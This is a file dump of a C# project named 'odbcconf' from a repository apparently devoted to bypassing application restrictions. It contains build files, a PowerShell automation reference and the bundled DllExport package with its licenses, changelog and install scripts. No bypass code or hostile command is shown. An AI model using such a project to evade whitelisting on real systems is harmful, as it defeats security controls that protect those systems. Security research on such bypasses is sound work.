/Src/Net4.0/odbcconf/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("odbc")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("odbc")] 13 | [assembly: AssemblyCopyright("Copyright © 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("12614e54-5c05-4278-8f76-f1940f87a352")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/odbcconf.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {12614E54-5C05-4278-8F76-F1940F87A352} 8 | Library 9 | Properties 10 | odbc 11 | odbc 12 | v4.5 13 | 512 14 | 15 | odbc 16 | true 17 | 1 18 | false 19 | false 20 | 21 | 22 | true 23 | full 24 | false 25 | bin\Debug\ 26 | DEBUG;TRACE 27 | prompt 28 | 4 29 | x64 30 | false 31 | 32 | 33 | pdbonly 34 | true 35 | bin\Release\ 36 | TRACE 37 | prompt 38 | 4 39 | false 40 | 41 | 42 | 43 | packages\DllExport.1.5.2\lib\net20\DllExport.dll 44 | False 45 | 46 | 47 | 48 | 49 | False 50 | ..\..\..\..\..\..\Program Files (x86)\Reference Assemblies\Microsoft\WindowsPowerShell\3.0\System.Management.Automation.dll 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/odbcconf.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.26228.4 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "odbcconf", "odbcconf.csproj", "{12614E54-5C05-4278-8F76-F1940F87A352}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {12614E54-5C05-4278-8F76-F1940F87A352}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {12614E54-5C05-4278-8F76-F1940F87A352}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {12614E54-5C05-4278-8F76-F1940F87A352}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {12614E54-5C05-4278-8F76-F1940F87A352}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/3rd-party.txt: -------------------------------------------------------------------------------- 1 | DllExport [ github.com/3F/DllExport ] 2 | - - - - - - - - - - - - - - - - - - - 3 | 4 | # Third-party software components 5 | 6 | ## The DllExport includes: 7 | 8 | * CoreCLR / ILAsm / ILDasm [ github.com/3F/coreclr ] 9 | * Mono.Cecil [ github.com/jbevain/cecil ] 10 | * SDK reference assemblies for PowerShell version 5 [ github.com/PowerShell/ ] 11 | 12 | ## Maintenance of this project also includes: 13 | 14 | * vsSolutionBuildEvent /+ CI.MSBuild [ github.com/3F/vsSolutionBuildEvent ] 15 | * GetNuTool [ github.com/3F/GetNuTool ] 16 | 17 | -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/DllExport.1.5.2.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/DllExport.1.5.2.nupkg -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/License.txt: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2009-2015 Robert Giesecke 4 | Copyright (c) 2016-2017 Denis Kuzmin 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in 14 | all copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 22 | THE SOFTWARE. -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/Readme.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/Readme.md -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/changelog.txt: -------------------------------------------------------------------------------- 1 | DllExport - github.com/3F/DllExport 2 | - - - - - - - - - - - - - - - - - - 3 | 4 | [v1.5.2] 2017.03.13 5 | 6 | * FIXED: Failing to compile in VS2017. Issue #29 7 | `Error The "DllExportAppDomainIsolatedTask" task failed unexpectedly. System.ArgumentException: Requested value 'Version46' was not found.` 8 | 9 | * FIXED: Possible error `Could not load file or assembly Microsoft.Build.Utilities or one of its dependencies.` 10 | * CHANGED: Updated script for loading of the Configurator to avoid problem with old assemblies. Issue #22 11 | 12 | [v1.5.1] 2016.11.12 13 | 14 | * FIXED: Error : Invalid Option: /CVRES= Issue #20 15 | * NOTE: Our coreclr version was compiled with MSVC 14.0. Related Issue #21 16 | 17 | [v1.5] 2016.11.04 18 | 19 | * FIXED: Fixed problem with white-space chars in path: `Cannot find path '' because it does not exist ...` 20 | * FIXED: Fixed typo with fullseq (ddNS) - incorrect `0x30 0x30` ~0x007A7-0x007A8 /details in #14 21 | * FIXED: Possible problem with NullReferenceException when removing package. 22 | * FIXED: Fixed problem with old NS data when we try to install package for project A, then for project B 23 | * NEW: Implemented 'Generate .exp + .lib via MS Library Manager' #9 24 | GUI Configurator + MSBuild property: `DllExportGenExpLib` 25 | 26 | * NEW: Added support of unmanaged-export for Executable Modules (.exe) #18 27 | * NEW: Cecil variant for ddNS features /#14, #2 28 | * NEW: Added our custom IL Assembler as option to fix incorrect 0x13 / 0x11 opcodes. #17 29 | GUI Configurator + MSBuild property: `DllExportOurILAsm` 30 | It should help for users of Fody projects, etc. 31 | https://github.com/Fody/Fody/issues/271 32 | 33 | IlAsm 4.5.1 https://github.com/3F/coreclr 34 | based on 4.5.22220.0 / coreclr 1.0.4 35 | changelog of our coreclr for this release: https://github.com/3F/coreclr/blob/master/changelog.txt 36 | 37 | * CHANGED: Updated scripts of installing/removing package for more correct loading of our assemblies. 38 | 39 | [v1.4] 2016.10.05 40 | 41 | * FIXED: Fixed bug - `An item with the same key has already been added`. Issue #10 42 | * FIXED: Bug with Meta library: Incorrect default values. Issue #16 43 | please note, the __cdecl is the default calling convention for our library 44 | as and for C and C++ programs. 45 | 46 | * FIXED?: Probably fixed bug - `Script errors on package install` Issue #6 47 | * FIXED?: Probably fixed bug - `non-English system language - syntax error` Issue #7 48 | * NEW: GUI Configurator with updated ddNS features. 49 | * NEW: Implemented feature 'Export for platform': [ x86 / x64 / x86 + x64 ] Issue #9 50 | * NEW: Implemented feature 'Base for ordinals'. Issue #11 51 | There is also alternative to configure this number - MSBuild property: DllExportOrdinalsBase 52 | 53 | * NEW: The one (1) now is used by default as Base for all ordinals. 54 | `Mimic ordinal counter (start from 1 instead of 0)` Issue #8 55 | 56 | * CHANGED: The ddNS features now as binary cmdlet `NSBin`. Use `nsbin.bat` if needed. 57 | * CHANGED: `Set "Inherited = false" in AttributeUsage for DllExportAttribute`. Issue #15 58 | * OTHER: other possible changes and fixes. 59 | 60 | [v1.3] 2016.08.21 61 | 62 | * FIXED: bug 'Incorrect library' when DllExport installed for 2+ projects. 63 | * CHANGED: DllExport now uses `Cdecl` calling convention by default. 64 | * CHANGED: Mono.Cecil v0.9.6.4 65 | 66 | [v1.2] 2016.07.13 67 | 68 | * CHANGED: dynamic definition of namespace for user scope. Issue #2 69 | 70 | [v1.1] 2016.06.29 71 | 72 | * CHANGED: DllExport now is part of System.Runtime.InteropServices as and DllImport. 73 | * CHANGED: Mono.Cecil v0.9.6.1 74 | * NEW: 0x80070005 meaning... Issue #1 75 | * NEW: +DllExport(CallingConvention convention) signature 76 | 77 | [v1.0] 2016.06.25 78 | 79 | * Initial the open release, based on v1.2.7.38850 80 | 81 | -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/lib/net20/DllExport.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/lib/net20/DllExport.dll -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/lib/net20/DllExport.dll.ddNSi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/lib/net20/DllExport.dll.ddNSi -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/lib/net20/DllExport.dll.raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/lib/net20/DllExport.dll.raw -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/Microsoft.Build.Framework.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/Microsoft.Build.Framework.dll -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/Microsoft.Build.Utilities.v4.0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/Microsoft.Build.Utilities.v4.0.dll -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/Microsoft.Management.Infrastructure.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/Microsoft.Management.Infrastructure.dll -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/Mono.Cecil.dll -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/NSBin.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/NSBin.dll -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/NSBin.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/NSBin.pdb -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.MSBuild.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.MSBuild.dll -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.MSBuild.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.MSBuild.pdb -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.dll -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.pdb -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/System.Management.Automation.dll -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/coreclr/LICENSE.TXT: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) .NET Foundation and Contributors 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/coreclr/PATENTS.TXT: -------------------------------------------------------------------------------- 1 | Microsoft Patent Promise for .NET Libraries and Runtime Components 2 | 3 | Microsoft Corporation and its affiliates ("Microsoft") promise not to assert 4 | any .NET Patents against you for making, using, selling, offering for sale, 5 | importing, or distributing Covered Code, as part of either a .NET Runtime or 6 | as part of any application designed to run on a .NET Runtime. 7 | 8 | If you file, maintain, or voluntarily participate in any claim in a lawsuit 9 | alleging direct or contributory patent infringement by any Covered Code, or 10 | inducement of patent infringement by any Covered Code, then your rights under 11 | this promise will automatically terminate. 12 | 13 | This promise is not an assurance that (i) any .NET Patents are valid or 14 | enforceable, or (ii) Covered Code does not infringe patents or other 15 | intellectual property rights of any third party. No rights except those 16 | expressly stated in this promise are granted, waived, or received by 17 | Microsoft, whether by implication, exhaustion, estoppel, or otherwise. 18 | This is a personal promise directly from Microsoft to you, and you agree as a 19 | condition of benefiting from it that no Microsoft rights are received from 20 | suppliers, distributors, or otherwise from any other person in connection with 21 | this promise. 22 | 23 | Definitions: 24 | 25 | "Covered Code" means those Microsoft .NET libraries and runtime components as 26 | made available by Microsoft at https://github.com/dotnet/coreclr, 27 | https://github.com/dotnet/corefx and https://github.com/dotnet/corert. 28 | 29 | ".NET Patents" are those patent claims, both currently owned by Microsoft and 30 | acquired in the future, that are necessarily infringed by Covered Code. .NET 31 | Patents do not include any patent claims that are infringed by any Enabling 32 | Technology, that are infringed only as a consequence of modification of 33 | Covered Code, or that are infringed only by the combination of Covered Code 34 | with third party code. 35 | 36 | ".NET Runtime" means any compliant implementation in software of (a) all of 37 | the required parts of the mandatory provisions of Standard ECMA-335 – Common 38 | Language Infrastructure (CLI); and (b) if implemented, any additional 39 | functionality in Microsoft's .NET Framework, as described in Microsoft's API 40 | documentation on its MSDN website. For example, .NET Runtimes include 41 | Microsoft's .NET Framework and those portions of the Mono Project compliant 42 | with (a) and (b). 43 | 44 | "Enabling Technology" means underlying or enabling technology that may be 45 | used, combined, or distributed in connection with Microsoft's .NET Framework 46 | or other .NET Runtimes, such as hardware, operating systems, and applications 47 | that run on .NET Framework or other .NET Runtimes. -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/coreclr/README.md: -------------------------------------------------------------------------------- 1 | [.NET Core Runtime (CoreCLR)](https://github.com/3F/coreclr) 2 | =========================== 3 | 4 | This repo contains the .NET Core runtime, called CoreCLR, and the base library, called mscorlib. It includes the garbage collector, JIT compiler, base .NET data types and many low-level classes. 5 | 6 | Build Status 7 | ------------ 8 | 9 | | CI 10 | --------------------| ---------------- 11 | Win.x86-x64.Release | [![Build status](https://ci.appveyor.com/api/projects/status/4gwh8k5wn62tk8iv/branch/master?svg=true)](https://ci.appveyor.com/project/3Fs/coreclr/branch/master) 12 | 13 | 14 | License 15 | ------- 16 | 17 | .NET Core (including the coreclr repo) is licensed under the [MIT license](LICENSE.TXT). 18 | 19 | -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/coreclr/_Version.txt: -------------------------------------------------------------------------------- 1 | 2 | Architecture | Platform | Config | commit-sha1 | ILD/Asm | coreclr | Path 3 | -------------|----------|---------|------------------------------------------|---------------------------|---------|------------- 4 | x86 | Windows | Release | 05afa4f81fdf671429b54467c64d65cde6b5fadc | [ 4.5.1 ] -> *4.5.22220.0 | *v1.0.4 | \bin\Win.x86\ 5 | x64 | Windows | Release | 05afa4f81fdf671429b54467c64d65cde6b5fadc | [ 4.5.1 ] -> *4.5.22220.0 | *v1.0.4 | \bin\Win.x64\ 6 | 7 | `* - The base of version, i.e. it can be different from official release` 8 | 9 | https://github.com/3F/coreclr 10 | 11 | -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/coreclr/changelog.txt: -------------------------------------------------------------------------------- 1 | https://github.com/3F/coreclr 2 | - - - - - - - - - - - - - - - - 3 | 4 | # coreclr \ ILAsm 5 | 6 | [v4.5.1] 7 | 8 | * FIXED: Fixed using of cvtres (.res -> obj COFF-format) in mscorpe. 9 | Possible crash: https://github.com/3F/coreclr/issues/2 10 | Related Issue: https://github.com/3F/DllExport/issues/17 11 | 12 | * NEW: Implemented additional searching of the converters of resources: 13 | Environment PATH, local directory, and other additional from user path. 14 | Now it also can be wrapped like ` mytool.cmd -> cvtres.exe %* ` etc. 15 | 16 | * NEW: Added new /CVRES (/CVR) key to ilasm.exe 17 | `/CVRES= Set path to cvtres tool: /CVR=cvtres.exe /CVR=tool\cvtres.cmd /CVR=D:\tool\` 18 | 19 | * NOTE: based on 4.5.22220.0 / coreclr 1.0.4 20 | ^ ^ ^ ^ 21 | | | | |-- VER_FILEVERSIONREVISION 22 | | | |------- VER_FILEVERSIONBUILD 23 | | |---------- VER_FILEVERSIONMINOR 24 | |------------ VER_MAJORVERSION 25 | 26 | 27 | -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/coreclr/coreclr.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/coreclr/coreclr.dll -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/coreclr/ilasm.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/coreclr/ilasm.exe -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/coreclr/ildasm.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/coreclr/ildasm.exe -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/coreclr/ildasmrc.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/coreclr/ildasmrc.dll -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/coreclr/mscordaccore.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/coreclr/mscordaccore.dll -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/coreclr/mscordbi.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/coreclr/mscordbi.dll -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/init.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | # init.ps1 - once for serial install/remove 4 | 5 | Import-Module (Join-Path $toolsPath DllExportCmdLets.psm1) 6 | 7 | # TODO: required for 'Load-Configurator' 8 | $cecil = [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("$toolsPath\Mono.Cecil.dll")); -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/install.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | $targetFileName = 'net.r_eg.DllExport.targets' 4 | $assemblyFName = 'DllExport' # $package.AssemblyReferences[0].Name 5 | $publicKeyToken = '8337224C9AD9E356'; 6 | $metaLib = $([System.IO.Path]::Combine("$installPath", 'lib\net20', $assemblyFName + '.dll')); 7 | $targetFileName = [IO.Path]::Combine($toolsPath, $targetFileName) 8 | $targetUri = New-Object Uri -ArgumentList $targetFileName, [UriKind]::Absolute 9 | $gpc = Get-MBEGlobalProjectCollection 10 | $projects = $gpc.GetLoadedProjects($project.FullName) 11 | 12 | # GUI Configurator 13 | 14 | # powershell -Command "Import-Module (Join-Path $escToolsPath Configurator.dll); Set-Configuration -Dll $asmpath" 15 | 16 | # $dllConf = Get-TempPathToConfiguratorIfNotLoaded 'net.r_eg.DllExport.Configurator.dll' "$toolsPath" 17 | # if($dllConf) { 18 | # Import-Module $dllConf; 19 | # } 20 | 21 | Import-Module (Load-Configurator "$toolsPath") 22 | Set-Configuration -MetaLib "$metaLib" -InstallPath "$installPath" -ToolsPath "$toolsPath" -ProjectDTE $project -ProjectsMBE $gpc; 23 | 24 | 25 | # change the reference to DllExport.dll to not be copied locally 26 | 27 | $project.Object.References | ? { 28 | $_.Name -ieq $assemblyFName -And $_.PublicKeyToken -ieq $publicKeyToken 29 | } | % { 30 | if($_ | Get-Member | ? {$_.Name -eq "CopyLocal"}){ 31 | $_.CopyLocal = $false 32 | } 33 | } 34 | 35 | $projects | % { 36 | $currentProject = $_ 37 | 38 | # remove imports of net.r_eg.DllExport.targets from this project 39 | $currentProject.Xml.Imports | ? { 40 | return ($targetFileName -ieq [IO.Path]::GetFileName($_.Project)) 41 | } | % { 42 | $currentProject.Xml.RemoveChild($_); 43 | } 44 | 45 | # remove the properties DllExportAttributeFullName and DllExportAttributeAssemblyName 46 | $currentProject.Xml.Properties | ? { 47 | $_.Name -eq "DllExportAttributeFullName" -or $_.Name -eq "DllExportAttributeAssemblyName" 48 | } | % { 49 | $_.Parent.RemoveChild($_) 50 | } 51 | 52 | $projectUri = New-Object Uri -ArgumentList $currentProject.FullPath, [UriKind]::Absolute 53 | $relativeUrl = $projectUri.MakeRelative($targetUri) 54 | $import = $currentProject.Xml.AddImport($relativeUrl) 55 | $import.Condition = "Exists('$relativeUrl')"; 56 | 57 | # remove the old stuff in the DllExports folder from previous versions, (will check that only known files are in it) 58 | Remove-OldDllExportFolder $project 59 | } -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/msbuild.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | setlocal enableDelayedExpansion 3 | 4 | :: The MSBuild-helper. Part of GetNuTool 5 | :: https://github.com/3F/GetNuTool 6 | 7 | :: arguments: 8 | :: 9 | :: msbuild -notamd64 - to select x86 instance instead of x64 if it's possible. 10 | :: msbuild - to select any available instance. 11 | :: 12 | 13 | set args=%* 14 | set notamd64=0 15 | 16 | set a=%args:~0,30% 17 | set a=%a:"=% 18 | 19 | if "%a:~0,9%"=="-notamd64" ( 20 | call :popa %1 21 | shift 22 | set notamd64=1 23 | ) 24 | 25 | for %%v in (14.0, 12.0, 15.0, 4.0, 3.5, 2.0) do ( 26 | for /F "usebackq tokens=2* skip=2" %%a in ( 27 | `reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSBuild\ToolsVersions\%%v" /v MSBuildToolsPath 2^> nul` 28 | ) do if exist %%b ( 29 | 30 | if NOT "%notamd64%" == "1" ( 31 | set msbuild=%%b\msbuild.exe 32 | goto found 33 | ) 34 | 35 | :: 7z & amd64\msbuild - https://github.com/3F/vsSolutionBuildEvent/issues/38 36 | set _amd=..\msbuild.exe 37 | if exist "%%b/!_amd!" ( 38 | set msbuild=%%b\!_amd! 39 | ) else ( 40 | set msbuild=%%b\msbuild.exe 41 | ) 42 | goto found 43 | ) 44 | ) 45 | 46 | echo MSBuild was not found, try: ` "full_path_to_msbuild.exe" arguments ` 1>&2 47 | goto exit 48 | 49 | 50 | :found 51 | 52 | set msbuild="%msbuild%" 53 | 54 | echo MSBuild Tools: %msbuild% 55 | 56 | %msbuild% %args% 57 | 58 | :popa 59 | call set args=%%args:%1^=%% 60 | exit /B 0 61 | 62 | :exit 63 | exit /B 0 -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/net.r_eg.DllExport.Configurator.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/net.r_eg.DllExport.Configurator.dll -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/net.r_eg.DllExport.Configurator.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/net.r_eg.DllExport.Configurator.pdb -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/packages/DllExport.1.5.2/tools/net.r_eg.DllExport.targets: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | $(MSBuildThisFileDirectory)..\ 6 | lib\net20\ 7 | 